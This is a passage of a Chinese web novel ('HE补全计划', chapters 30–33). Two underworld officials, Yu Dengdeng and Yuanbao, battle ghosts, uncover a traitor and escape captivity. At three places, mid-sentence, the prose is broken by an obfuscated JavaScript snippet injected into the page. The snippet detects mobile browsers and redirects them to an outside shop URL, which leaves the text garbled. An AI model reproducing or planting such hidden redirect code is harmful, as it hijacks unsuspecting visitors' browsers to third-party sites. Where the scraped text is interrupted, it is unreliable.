老人被吓得一哆嗦,整个人僵在马路中央。 靳言看见那辆车上贴着的“新手上路”标志,脑子还没想清楚,身体已经冲了过去。 尖锐的刹车声和闷响声一起传来。 靳言觉得自己飞起来了。又好像没有。 余光里,手机摔了出去,屏幕碎成一片蛛网。那束白色的花散了一地,花瓣被风卷起来,有几片染上了鲜艳的红色。 他看着头顶的天。 十月的天,灰蒙蒙的,不高不低,不远不近,好像覆了一层纱。 意识开始往下沉,周围的亮光越来越远,越来越小。 最后,什么也没有了。 一片漆黑。 30.HE补全计划 池塔百无聊赖地拨弄着桌上排成一溜的彩虹玻璃瓶。 黄绿青蓝紫,五种颜色,于等等离开前特意交代给他的,说是魂力补充剂。不管元宝醒没醒,务必早中晚各给他灌一瓶。 他算着时间,准备给元宝灌第三瓶。 池塔拔掉黄色瓶子的瓶塞,起身往床边走,看到床上人时,手一抖,差点把补充剂泼自己一脸。 “卧槽!你终于醒了!”他三步并作两步冲到床边。 元宝睁着眼,直直地看着天花板,呼吸均匀,面色平静。 “你什么时候醒的?怎么不喊一声,既然醒了魂力补充剂就自己喝吧。” 他把瓶子递出去,床上的人没反应。 池塔背后有点发凉,伸手在元宝面前挥了挥:“喂?元宝?听得见吗?” 还是没反应。 “完了完了完了,不会是傻了吧,我要怎么和等等交代……” 他准备出去喊人,元宝的眼珠终于转了一下,落在他脸上。 “能听到。” 声音很淡,还有点沙哑。 池塔长长地舒了口气,一屁股坐到椅子上:“靠,你说话就说话,别大喘气行不行,吓死个人。” “这是素练殿?”元宝撑着身子坐起,接过瓶子打量四周。 “是啊,你自己的宿舍,不认识了?” “等……于等等呢?” “她呀,送你回来后就被玄墨大人领走了。” 从池塔那里,他得知了是孟婆殿救了自己,得知肇事的黑无常被希门狠狠罚了一顿,得知于等等被玄墨强行征调到东冥镇压鬼怪异动。 元宝握着补充剂的手指紧了紧,仰头一口气灌了下去。 液体滑入喉咙,虚浮感消退了不少,心脏却依然紧得发疼。 从池塔说于等等哭惨了那一刻起,它就在疼了。 疼到现在。 “我认识她这么多年,就没见她那样哭过。”池塔还在继续,拨弄着手里的瓶塞,语气有些无奈。 “池塔。”一直沉默听着的元宝终于舍得开口。 “嗯?” “于等等之前,有个网lian……网上聊得不错的人,是吗?” 池塔玩瓶塞的动作停了,脑子里悄悄拉响了警报。 “你问这干什么?” 吃醋?介意?还是怕于等等有一天去吃回头草? “没……随便问问。”说完又没话了。 元宝垂着眼,池塔看不到他的表情。 完了完了,不会真是介意了吧。 池塔想起于等等被元宝擦手时脸红的样子,还有被玄墨领走前那一步三回头的状态,估摸着她这次多半是来真的了。 于等等刚从上一段情伤里走出来,可不能因为自己说错话,把她现在这段感情给搅黄了! 不行,得把那人往坏了说!杜绝一切让元宝觉得于等等会去吃回头草的可能性! 池塔清了清嗓子,端正坐姿,神色严肃的像在毕业答辩:“那个渣男啊,我跟你说,啧啧啧……” 他竖起一根手指。 “第一,网恋奔现,结果连面都不敢见,甚至照片都没个正脸,说明什么?说明长得丑啊!” 元宝睫毛颤了一下。 “第二,”池塔又竖起一根手指。 “约好了见面,自己不来,让姑娘干等,说明什么?说明怂啊!这是妥妥的懦夫行为!这是渣男中的战斗渣!” 元宝手指抓着床单又松开,池塔以为他听进去了,拔高声音,竖起了第三根手指。 “第三,就算真来不了,发条消息会死吗?不会!但他没发,说明什么?说明他就没把这个约定当回事!这种不守时、不守信、不拒绝、不负责的四不男人,不分留着过年?” 池塔一挥大手,做陈词总结: “所以你放心,等等对那个人,那是一点念想都没有了!彻底翻篇!封心锁爱!现在她眼里只有——” 他刹住车,硬生生把“你”字吞回去:“只有工作!还有猫!你懂的!” 等等啊,我只能帮你到这里了! 元宝垂着眼,手指无意识的在被单上画了个圈。 池塔看他这幅样子,心里有点慌。 会不会说的太过了?显得于等等眼光太差? “咳咳,那什么,其实我们等等眼光也不差的,之前那次单纯是没恋爱经验,被骗了而已!真的!” “嗯。她眼光,不差的。”元宝紧了紧手里的空瓶,抬头看向池塔:“我不会让她眼光变差。” 池塔正为自己刚才那番抹黑点赞,听到元宝最后这句,头顶默默冒出一个问号。 ———————————— 于等等举着斩魄镰跃到半空,朝着面前冲过来的恶鬼狠狠劈下。 镰刃从恶鬼面门划到胸口,黑色的雾气从伤口里涌出来,那恶鬼连惨叫都没来得及,身体迅速干瘪下去。 于等等落地,喘了口气。 这次鬼族异动规模太大,玄墨把殿里几个战力不错的都带上了。 也包括她。 虽然她到现在也没搞明白,自己到底哪一点让玄墨觉得“战力不错”。 抓游魂百发百中?还是嗑瓜子嗑得比别人快? 不知道,反正得知玄墨要带上她的时候,主线进度条直接跳到了45%。 其实于等等当时已经没什么心思做主线了。 孟婆的药效果确实不错,元宝吃了立马平静下来,但她不敢赌。 谁知道药效能维持多久? 元宝倒下去的那一刻,她吓得魂都要没了。 活人死了还能入地府,地府公务员死了,又该去哪里? 彻底消失? 光这么想想,她头皮就开始发麻。 于等等寻思要么找个理由推掉算了,想法刚出,进度条就落回了42%。 ……这破主线就真的非做不可吗?正月你出手援助一下会死是吗?! 于等等被气的差点跳起来开骂,和她一起送元宝回素练殿的孟小甜,拼命按住她的胳膊: “孟婆大人对这情况早有预料!你放心去,我们孟婆殿也不是吃素的,元宝交给我们,绝对给你照顾的好好的!” 眼看孟小甜都要举手对天发誓了,于等等总算舍得松了口,但坚持让池塔留下照看。 她塞了一堆魂力补充剂给池塔,嘱咐半天,直到玄宋过来催她,才一步三回头地走了。 不知道元宝醒了没有。 于等等脑子里冷不丁冒出来这么一句。 不对,怎么又走神了。 她甩了甩脑袋,强行把注意力拉回眼前这武器乱飞的的战场上。 其实刚开打时,于等等真的挺小心翼翼的。 毕竟她就是一个天天蹲办公室的社畜,第一次来这种地方,第一次亲自上阵杀敌,甚至第一次使用斩魄镰,连个教程都没看过。 刚接触这样的场面,肯定会不适应。可打着打着,她就觉得不对劲了。 太游刃有余了。 一开始她归功于曾经练过几年的跆拳道和散打,打到后面逐渐琢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392606|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磨出真相。 是法力体系的事儿。 她和元宝的那套无常力量的体系,好像对这边的智慧生物有碾压优势。 不光是这些鬼族,包括这个幻境世界里的黑白无常,甚至那些殿主。 难怪元宝能破开盘锦的禁术。 难怪他当时敢说出“1V17”那种话。 合着是有底气。 就是不知道他是什么时候发现的。 她看了眼周围被她打得倒地不起的恶鬼,又看了看手里的光彩熠熠的斩魄镰,叹出一口气。 说不定,这是正月给她们开的后门。 新一波鬼族战士又涌上来了。 于等等握着比她还高好几个头的斩魄镰,随手几个毫无章法的劈、砍、扫。 又放倒一片。 眼看周围几个无常同僚看她的眼神已经从“新人”变成了“这位大佬是来体验生活的吗”,于等等适时脚下一滑,斩魄镰差点脱手。 “哎呀!” 她往旁边一歪,声音里带着恰到好处的惊慌。 玄浮眼疾手快,狼牙棒一扫,帮她挡下了那个扑过来的恶鬼。 “谢谢玄浮前辈!” 于等等站稳,拍了拍胸口,脸上的劫后余生演得她自己都信了。 “小事!” 玄浮咧嘴一笑,完全没有发现异样。 接下来的几轮战斗,于等等特意放慢了动作。 最后一波鬼族也倒下了。 玄浮大笑着走上来,拍拍她的肩膀: “之前看你被游魂追着跑,我还真以为你初出茅庐,好家伙,这镰刀一耍,刮目相看呀!” “一般一般。”于等等笑着摆手。 “诶,谦虚什么!就是这武器这么好用,之前抓游魂的时候你怎么不拿出来?”玄浮好奇。 “这也是我家里人给我准备的,以前没用过,这是第一次用。” “居然是第一次用?新人你这潜力是真不一般啊,你看看这场上倒的,三成都是你的功劳!” “是啊是啊,这么厉害,未来可期!” …… 在大家你一言我一语的惊叹声中,于等等笑着环顾了一圈面前横七竖八的战场,把斩魄镰往地上一拄,腰一弯: “yue——” 夸赞的人群瞬间噤声。 “怎么了怎么了?受伤了?” 玄浮见刚刚还大杀四方的于等等吐了一地,第一个反应过来,一脸惊慌。 “没……”于等等擦了擦嘴角,声音虚弱,“第一次见这种血肉横飞的场面,有点不太习……” 后面的字被吞进了肚子里。 她盯着眼前那堆沾红带彩的恶鬼尸体,眨了眨眼,又眨了眨眼。 没看错。 就在她被恶心吐了之后,周围这群恶鬼的伤口上,被打上了一层马赛克特效。 标准的像素格子。 一块一块,整整齐齐,把那些翻开的皮肉和渗出的黑血,遮得严严实实。 面前跳出一行超小的系统字幕: 【检测到用户生理不适,已为您开启特殊画面保护模式。】 于等等:“……” 系统您还怪贴心的。 “不太什么?” 玄浮见她说一半没声了,更急了,那张飞同款大粗眉皱的简直能包饺子。 “没,没事……”于等等直起腰,深吸一口气,把涌上来的那点恶心感又压了回去。 “就是第一次正式上战场,不太习惯而已,缓缓就好。” 31.HE补全计划 于等等从战场上下来的第一件事,就是翻系统消息。 果然,元宝的对话框亮着。 【醒了,别担心。】 一直悬着的心终于落了点。 可惜系统时间是静止的,她看不到元宝的消息是什么时候发来的。 于等等左右张望了一下,找了个相对僻静的角落,背靠着一块大石头,拨了视频电话过去。 对面几乎是秒接。 元宝还是坐在上次打视频电话的桌前,脸是一如既往的白,头发没怎么打理,几缕垂在额前,衬得那双异色瞳格外深。 “元宝!你什么时候醒的?”于等等自己都没注意到,她的声音拔高了半个调,嘴角快咧到耳根。 元宝张嘴要答,池塔从元宝身后挤过来,一张脸占了大半个屏幕:“等等!你那边怎么样?” 于等等嘴角抽了抽,伸手在屏幕上扒拉了一下: “好得很,你让开,挡着我看元宝了。” 池塔讪讪地让开位置: “……行,重色轻友,我懂了。” 对面传来元宝的轻笑,于等等打算再来波关心,就见元宝眉头微微皱了起来。 “你受伤了?” “啊?”她低头仔细观察身上,没有伤口,没有裂痕,连污渍都没有。“没有啊。” 池塔在元宝身后露出半个脑袋,拼命用手指戳自己的脸,嘴型夸张地比划:脸!你脸上! 于等等抬手一擦,指腹上多了一道暗红色的血迹。 “哦,这个不是我的,应该是那些鬼族刚才不小心沾上的。“ 她随手往衣服上抹了抹,“倒是你,现在感觉怎么样?” 元宝又仔细打量了她一会,确认没事,吐出一口气。 “好多了。”他声音还是有点哑,“孟婆殿给的药,效果很好。” “那就好!” 于等等笑得眼睛弯弯,想再问点什么,身后又传来一阵厮杀声。 元宝的目光越过她的肩膀:“你那边……战况很激烈?” “还好啦。”于等等眉毛一挑,语气有些小得意,“我跟你说,我发现咱们的力量对这边的生灵有压制作用。那些恶鬼看着凶,打起来也就那样。还有……” “你是不是早就知道了?” 元宝嘴角不明显地弯了一下:“嗯,去茶馆的路上,那几个盘锦殿和西门殿的人找茬时发现的。” “那你也不告诉我!”于等等佯装生气地瞪了他一眼,但眼里的笑意根本藏不住。 几人又闲扯几句,于等等身后传来中气十足的喊声:“于等等!人呢?新一波来了——!” “来了来了!” 她回头应了一声,又转回来,有点不舍得挂。 “要走了?”元宝声音低了些。 “嗯。” 于等等应着,对上元宝的视线,又挪开。 没人再说话,也没人挂电话。 “那个——” “那个!” 两人异口同声。 “你先说。”元宝笑着看她。 “就是……书不急着看,主线慢慢做也行,你先好好休息。”于等等看向他面前摊开的那本厚重的书。 “好。”元宝还在笑。 “那你要和我说什么?” "注意安全。"元宝说的异常平静,平静到于等等以为他在客套,但那眼神出卖了他面上佯装的这份淡定。 “嗯,我会的!”于等等拍拍胸脯,笑得轻松。 “放心啦!正月大佬给我们开了后门,我现在一刀一个小怪兽……不对,一刀一个小恶鬼!” 她比了个“OK”的手势,又冲池塔喊了一句“照顾好他啊”,准备挂电话。 “于等等!”元宝这次叫得急了些。 于等等的手悬在半空。 “怎么了?” “别逞强。” 元宝没再笑,那双异色瞳直直地看着于等等,像是要把她整个人装进去。 心跳有些快。于等等屏幕外的手握紧了些。 “放心!包的!” 视频挂断,于等等的笑容也跟着收了。 她揉了揉眼睛,把眼眶里的热意压下去。 他醒了,真的太好了。 “于等等——!”玄浮又在喊了。 “来了!”于等等搓搓脸,把表情调整回元气满满的模式,从石头后面探出头,朝玄浮小跑过去。 ———————————— 屏幕黑下去,元宝的目光还没收回。 听到桌面被人敲响,他才抬起眼。 “怎么了?” “什么怎么了,你已经发呆至少五分钟了!”池塔翻了个白眼。 “视频已经挂了,你再看等等也不会出现,快收收你那目光吧。” 看了这么久吗? 元宝下意思看向系统时间,又想起来时间是静止的。 他把面前的书合起来,手指在系统屏幕上快速操作。 “不看了?等等电话打过来之前,你不巴不得一目十行吗,不急着找线索做主线了?” “急。所以我想找看的更快的方法。”元宝手指停在一个界面。 系统光屏里,浮起一道光圈,将面前的书罩住。 池塔凑过去,就见光屏上滚动着密密麻麻的文字。 他瞪大眼睛:“这是……扫描?这么智能?!” 元宝没做解释,拿起下一本书,放置、扫描、点击屏幕,一气呵成。 “池塔。” “嗯?”池塔莫名被点名,下意识坐直了。 “把之前玄浮说的玄墨殿和素练殿的处境,再和我说一次。”元宝没抬头,目光仍落在光屏上。 池塔看着元宝那副异常认真的表情,也跟着紧张起来,他咽了口唾沫, 把之前在玄墨殿那边的所见所闻,一字不落地又说了一遍。 “谢谢。”两个字,元宝又没话了。 他低头操作着屏幕,眉头时而皱紧,时而松开。偶尔拿笔在纸上画两下,线条干净利落,没有任何多余的动作。 “鬼族……月老树……” “还有这次突袭。” 他突然停下动作,目光落在窗外的一棵树上,瞳孔深处有什么东西在缓缓转动。 池塔在旁边看得抓耳挠腮,又不敢出声打扰。他悄悄凑过去,拿起元宝画完的那几张纸。 纸上是密密麻麻的线条和箭头,串联着玄墨殿、素练殿、盘锦殿、希门殿,还有鬼族、月老树、东冥深渊…… 一堆名词被不同的形状标记着,形成一个复杂的关系网。 “元宝,”池塔终于没忍住,“你到底在做什么?” 元宝把最后一张纸推到一边,拿起那本刚扫描完的书,翻到某一页,指着一行字缓缓开口: “素练和玄墨当年误伤月老树,导致姻缘线被反噬断裂,从此无法再续姻缘。” “是啊,这是漫画开头的背景说明。” 池塔不明所以。 元宝拿起讲述月老树的书,翻到其中一页,指着一行小字: “典籍上写得很清楚,月老树管的是姻缘,姻缘线断裂者,情愫断绝,再无纠葛。但目前看来,他们不仅还有感情,甚至感情很深。” “对哦!那他们岂不是……矛盾了?” 池塔尝试跟着元宝的思路走。 “这说明了一件事。”元宝合上书,目光变的深沉,池塔下意识地坐直。 “他们的姻缘线根本没有断。” “什么??!”池塔直接从座椅上跳了起来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396745|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是……那十次轮回呢?十次BE,十次死别,漫画里画得清清楚楚,总不能也是假的吧?” 池塔脑子已经乱成一团。 “这就是问题所在。”元宝的声音沉下来,“轮回不仅能强化姻缘,还能强化他们作为黑白无常的实力。反之,轮回中意外死亡、道心破碎,都会削弱他们的力量。” 池塔嘴巴越张越大,试着推理:“你是说……表面上他们BE了,姻缘毁了,实际上……” “实际上,有人借着姻缘线断裂的由头,让他们在轮回中反复经历死别,反复削弱他们的实力。这样,他们就会一年比一年弱,殿里一年比一年没落。”元宝接过他的话。 池塔后背发凉。 “可是……谁干的?鬼族?” “鬼族设的陷阱,让他们误伤月老树,这是明面上的说法。” 元宝指尖在他画好的那张关系图纸上缓缓移动,从“鬼族”划到“素练和玄墨”。 “但鬼族怎么知道,那次出兵的会是素练和玄墨?地府那么多黑白无常,凭什么就断定是他们俩去?除非……” “有内应?!”池塔惊呼出声,又赶紧压低声音,“不会是盘锦殿和希门殿的人吧?” “表面上看是这样,但……总觉得太简单了。” 元宝眉头又开始皱紧,指尖有节奏地敲打着桌面。 池塔这次别说说话了,连呼吸声都放轻了,仔细盯着元宝。 元宝的目光在桌上扫过,落在那一排彩虹色的魂力补充剂上。 敲桌面的动作停了。 “池塔。” “嗯?” “你说,玄浮带着你和等等去的那个任务,等等被游魂追着跑?” “对啊。” 池塔点头,回忆起当时的场景还有点后怕。“那些游魂一个比一个壮,等等的锁链缠上去一点用都没有,追着她满荒原跑,还是我当诱饵才搞定……” 元宝的目光重新落在关系图上,指尖点在玄墨殿三个字上。 “可是,我们的这套力量体系,不是碾压这里的生灵的吗?” 池塔一愣。 对啊。 于等等打鬼族都跟砍瓜切菜似的,怎么可能会被几个游魂追着跑? 他还没想请这里的缘由,元宝猛地站起来,椅子往后滑了半尺,在地板上发出刺耳的摩擦声。 “糟了。玄浮有问题!” “啊???”池塔以为自己听错了。 “不可能吧?玄浮那人……那么憨,五大三粗的,说话做事都直来直去,对等等也挺好的啊。而且你看他那个长相,哪像是能搞阴谋的人?” 元宝拿起笔,在关系图上加上了玄浮的名字。 “你仔细想想。你们到玄墨殿后的每一件事。” “第一个拉你组队的是谁?第一个告诉你玄墨殿和素练殿处境的是谁?甚至在茶馆门口,第一个冲出来帮素汐出头的又是谁?” 池塔的嘴巴一点点张开。 “接收任务是玄浮带的,玄墨殿和素练殿的处境是玄浮说的,两拨人群殴的时候,玄浮也在场。每一件事,他都在。” 池塔后背的冷汗开始往下淌。 “还有,”元宝的声音更低了,“今天这场群殴,起因是什么?” “素汐的册子被踩……” “你们是怎么遇到素汐的?也许,你们回去的那条路,并不是去荒原的那条路吧?” 池塔:“…………………………” 确实不是同一条路。 “是玄浮,把这件事从一个小冲突,变成了玄墨殿和希门殿、盘锦殿之间的对峙。”元宝沉着脸总结。 “等等……我靠!”池塔脸色唰得白了,一把拽住元宝,“玄浮这次是和等等一起去的深渊战场!” “什么?!” 32.HE补全计划 按照漫画世界里的时间来算,这是于等等到深渊战场的第二天。 玄墨领着一部分队伍深入深渊深处去清剿鬼族残部,于等等和玄浮也被带了进去。到了深处,队伍分头行动,于等等和玄浮分到了一组。 两个人沿着幽深的裂隙往深处走。 路越走越窄,两侧的岩壁上渗出黑色的雾气,脚底下踩着的碎石时不时滚落几颗,掉进看不见底的深渊里,回声都听不见。 路上零星有些鬼族出来偷袭,但都不成气候。 于等等一镰刀一个,玄浮一棒子一片,两个人配合得还算默契。 走着走着,周围的雾气越来越浓,脚下的路也从碎石地变成了黑色石板。 于等等下意识放慢了脚步,玄浮却还在往前冲。 “前辈,要不我们往回走吧?这里好像有点……” 于等等接下来的话被眼前的景象打断了。 面前是一片相对开阔的空地。 空地中央,几十个鬼族围坐在一起,有的在磨刀,有的在啃什么东西,还有几个在交头接耳。 空地边上搭着简陋的帐篷,角落里堆着武器,和不知道是什么生物的血肉。 这哪是什么残部,这分明是一个营地。 她下意识往后缩了半步,压低声音:“怎么还有这么多?赶紧回去报告玄墨大人。” 玄浮也是一脸惊讶,连忙点头,两个人悄无声息地往后退。 可惜他体型太大,转身时胳膊蹭到了旁边一块松动的石头。石头骨碌碌滚下去,在这寂静的深渊里响得像打雷。 于等等:“……” 完了。 营地里瞬间就炸了。 上百个鬼族齐刷刷转头,于等等觉得那一刻他们俩身上至少被几百道目光钉住。她甚至来不及骂人,拽着玄浮就跑。 可惜她对路不熟悉,没跑几步就被追上了。 于等等和玄浮纵使再能打,也架不住人多啊,等在回过神时,她已经被关在一个铁笼子里了。 两个人被分别关进两个铁笼子里,并排摆着。 笼子不大,好在于等等个子小人也瘦,能盘腿坐着。 玄浮就惨了,他那小山似的体型塞在笼子里,姿势憋屈又可怜。 “前辈,你还好吗?”于等等小声问。 “还、还行……就是有点挤。” 何止是有点。 于等等看着他努力把膝盖往回收的样子,莫名想起以前在网上看到的“壮汉缩进迷你车”那种搞笑视频。 但现在笑好像不太合适。 她靠在笼子边上,脑子开始转。 一路都挺顺的,怎么忽然就翻车了? 玄浮虽然性格憨,思想也憨,但正事上挺细心的,刚才那一胳膊蹭掉石头……好像有点太不小心了。 她偷偷看了玄浮一眼。 玄浮正龇牙咧嘴地掰笼子上的铁条,脸都憋红了,铁条表面暗纹流转,本体纹丝不动。 “这什么破玩意儿,把我们的力量压制了就算了,还这么结实……” 看着也不像装的。 可能是想多了吧。 毕竟深渊这么深,路不好走,谁还没个失误的时候。 玄浮看她安静坐着,有些好奇: “你不紧张吗?这可是鬼族的营地。” “紧张啊。不过按照玄墨大人的警惕程度,我们时间长不回去会和,他应该会派人来找我们。” 于等等实话实说。 但只说了一半实话。 另一半实话是,就在她被关进来的那一刻,系统进度条又跳了。 【当前主线进度:60%。】 涨了。 甚至涨了不少。 说明这里有关键剧情。 她背对着玄浮偷偷看了眼系统消息。 昨天打完视频电话,元宝就没再发消息过来,她发了好好休息对方也没回复。 不太像他平时的作风。 但昨天电话里看他气色确实不太好,估计是还在休息。 于等等关掉系统界面。 算了,先不告诉他了。 他身体还没恢复,要是知道她被抓了,指不定又要逞强赶过来。上次那一晕,她现在想起来还后怕。 而且正月大佬应该看着的吧? 虽然那位前辈的关心方式一向不太正常,但既然能在力量上给她和元宝开挂,总不能眼睁睁看着后辈交代在这里。 先自己想办法,实在不行再摇人。 她试着凝聚了一点魂力。 指尖亮起微弱的光团,铁条上的暗纹闪了闪,光还亮着。她又加了一点,光团更亮了,暗纹开始微微颤抖。 果然,这个笼子能困住玄浮,但困不住她。 玄浮发现她这边的变化,瞪大眼睛,用气音问: “你怎么还能用术法?!” 于等等赶紧把光灭了,也用气音回他:“可能是我太弱了,这个笼子懒得管我?” “好像有点道理。” 玄浮居然若有所思地点点头。 也太好糊弄了。 好糊弄过头了。 于等等收回目光,开始打量周围的环境。 他们应该是被关在一个营帐内,空间不大,两个笼子就占了一半的位置。 门外有两个鬼族看守,一个矮胖,一个高瘦。 高瘦那个走路的时候,身上会传来叮铃轻响。于等等透过营帐帘子的缝隙,隐约见到他腰上有反光。 看来笼子的钥匙多半在他身上。 于等等暗暗记下这个细节。 那两个鬼族正在有一搭没一搭地聊天,于等等听了会,居然是鬼王的桃色八卦。 看来不管在哪里,这种题材的八卦都很受欢迎。 于等等对这类话题不感兴趣,想着靠着铁笼休息下,就听见矮胖鬼突然压低声音: “……鬼王这招声东击西,那边应该想不到吧?” ? 于等等坐直,竖起耳朵。 “肯定想不到。都以为咱们主力在深渊,谁知道早就调去西冥了。” “西冥那个白无常,叫什么来着?” “素练。听说挺厉害的,但咱们这次倾巢而出,她再厉害也扛不住。” 声东击西?西冥?素练? 可素练不是在自己殿里吗,什么叫“她再厉害也扛不住”? 她转头看向玄浮,就对上玄浮张惊恐的脸。 “今天出发前,我听到有人跟玄墨大人报告,说素练大人今天也出发了,去了西冥那边……” 于等等:“……………………” 素练要是出事,她这个主线还做个屁啊! 不行,必须得赶紧走,得去通知玄墨,让他去支援素练。 她脑子飞速旋转,就听见外面有人喊了句:“吃饭了!” 透过帐帘的投影,她看到那个矮胖鬼一下跳了起来,乐呵呵拍着同伴的肩膀: “我先去吃,吃完换你去。” “去吧去吧,就你这馋鬼样,迟早把自己吃成球。” “总比你这个竹竿强。” 两人闹腾了几句,矮胖鬼的投影消失。 于等等对着玄浮使了个眼色。 玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400989|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浮心领神会,开始使劲晃笼子。 铁条撞击的声音把高瘦鬼吓了一跳,骂骂咧咧地掀帘子进来:“吵什么吵!老实点!” “我饿了!我要吃饭!” 玄浮扯着嗓子喊。 高瘦鬼族仿佛听到了什么笑话:“你一个俘虏,还想吃饭?做梦呢!” “凭什么你们能吃饭我不能吃!我饿了!我就要吃!” “嘿!还没完了!” 两人你一眼我一语吵起来,借着说话声的掩盖,于等等悄悄把锁链从胳膊上解下,瞄准高瘦鬼就是一甩。 锁魂链精准锁住了他的喉咙,高瘦鬼转身瞪着于等等,还没来得及跨步,玄浮已经从笼子里伸出粗壮的胳膊,一拳砸在他太阳穴上。 “砰!” 高瘦鬼族两眼一翻,软软地倒下去。 “快快快,钥匙!”于等等没敢松链子。 玄浮伸出粗壮的胳膊,艰难地把手伸到这鬼族的腰上,扯下一串钥匙,就往自己笼子的锁孔里捅。 锁开了,于等等皱了皱眉。 那鬼族腰上有6串钥匙,玄浮怎么知道是那串? 两人准备从张牌离开,于等等想了想,指挥玄浮把高瘦鬼也丢笼子里去。 “这样能减少一个对方的战斗力~” “哈哈哈哈哈,还是你聪明!” 玄浮乐呵呵地搬起高瘦鬼,于等等假装客套: “哪里哪里,没玄浮前辈厉害,随手一摸就找到了正确的钥匙!” 玄浮的动作几乎没有停顿,他锁上笼子,挠挠头: “嘿嘿嘿,我运气一直很好!还因此拉了不少同僚的仇恨呢!” “好了,我们快走,还得通知玄墨大人呢!” “对!走走走!” 俩人猫着腰溜出帐篷,好在深渊的光线够暗,于等等在阴影里小心地潜行。 眼看营地大门就在前面,于等等心里刚松了口气,地面猛地一震。 于等等脚下一个踉跄,差点扑进旁边那堆不知名生物的骨头里。 玄浮眼疾手快一把拽住她后领,像拎小鸡似的把她拎回来。 “什么情况?!”于等等压低声音。 还没等玄浮回答,营地中央就炸了锅。 号角声呜呜地响起来,一个鬼族扯着嗓子喊:“玄墨军队来袭!备战!” 于等等瞳孔地震。 不是,他们被抓进来才多久?满打满算也就一个时辰吧?玄墨的救援速度是不是有点离谱了? 营地里已经乱成一团,鬼族士兵抄起家伙就往营地口冲,于等等眼睁睁看着几十个鬼族往他们这边涌过来。 “那不是我们抓的俘虏吗?怎么跑出来了?!”一个鬼族眼尖,指着他们这边喊。 于等等:“…………” 完了。 她一把扯下斩魄镰,镰刃在昏暗的光线里划出一道弧光,照出面前乌泱泱涌过来的鬼族大军。 这营地到底多大啊,为什么装了这么多鬼族啊!!! “于等等!往边上走!”玄浮一棒子扫倒三个,冲她吼。 于等等想都没想,贴着营地边缘就往外溜。 刀枪剑戟在耳边飞来飞去,她左躲右闪,镰刀挥得虎虎生风,心想自己这走位放游戏里怎么也得是个青铜王者。 虽然全是靠莽。 又躲过一柄不知道从哪飞来的长矛,于等等准备快走两步,手腕被人握住了。 于等等浑身汗毛都炸起来,镰刀条件反射就往那人身上招呼。 “是我。” 声音很轻,带着点哑,于等等不用抬头都知道是谁。 33.HE补全计划 “元宝?!你怎么在这里?!” 她几乎以为自己出现了幻觉。 眼前人脸上还带着没完全褪去的苍白,刘海被气浪吹开一瞬,露出深沉清冷的眉眼,眼尾好像还有些泛红。 白无常的袍子在周围厮杀的环境里格格不入,他却站得稳当。 嗯,更像幻觉了。 于等等脑子还没转过来,人已经被元宝拽着往旁边一块大石头后面躲。石头够大,和周围石壁组合起来,竟隔出了一小片安全区。 “你……”于等等你一半,没声了。 她被按进了元宝怀里。 鼻腔里瞬间灌满淡淡的皂角气息,混着深渊里的冷意,贴久了又能感受到来自衣料下皮肤的温度,和心跳。 一下一下,又快又重,比她刚才躲刀剑的时候还急。 她试着推了他一下,没推动。 又推了一下,还是没推动。 这人怎么跟个大型犬似的,看着瘦,扑上来的时候能把你整个人圈住,还死活不撒手。 周围刀枪剑戟打得噼里啪啦,玄墨的军队喊杀声震天,鬼族的兵卒大叫连连。 而她被按在这个石头后面,被迫听一个人的心跳。 而且那人还没有丝毫要松开的意思。 “元宝……我快喘不上气了……” 稍微松了一点点,但也只有一点点。 于等等只能仰着脖子,下巴抵在元宝胸口,努力呼吸新鲜空气。 这画面要是被池塔看到,他能笑她三年。 “元宝你到底怎么了?” 她的脸被他按在胸口,声音闷闷的,带着点被挤扁的尾音。 元宝呼吸一起一伏,声音似乎都有些抖:“为什么不回我消息?” 于等等懵了:“你没给我发消息呀?” 元宝的胳膊终于松了一点,语气带着点说不清道不明的委屈: “发了。” 于等等:“……啊?” 她正想说“我真没收到”,手心里就被塞进一个东西。 小小的方块,有一面好像有个凸起的猫爪,这是…… “对讲器?!原来在你这里!” 那天被拎去玄墨殿,换衣服时才发现对讲器不见了。 她还以为是掉在玉兰花林里了,想着等这破任务结束,找魏今安再要一个,没想到…… “新的,孟小甜给的。” 元宝的声音还是闷闷的,听得于等等心里莫名有些软。 她把对讲器揣好,试探着拍了拍元宝的后背:“那个……要不我们先松开?我得去找玄墨,有急事。” 元宝没动。 “元宝?” 抱着自己的人突然低头,把脸埋进她颈窝。气息喷洒在皮肤上,有点热,又有点痒。 “等等,我们以后一直搭档好不好?” 他的声音从她颈侧传出来,闷闷的,带着点沙哑。 “我不想和你分开了。” 正准备缩脖子的于等等大脑就这么宕机了。 他知道他在说什么吗? 搭档就搭档,但是…… 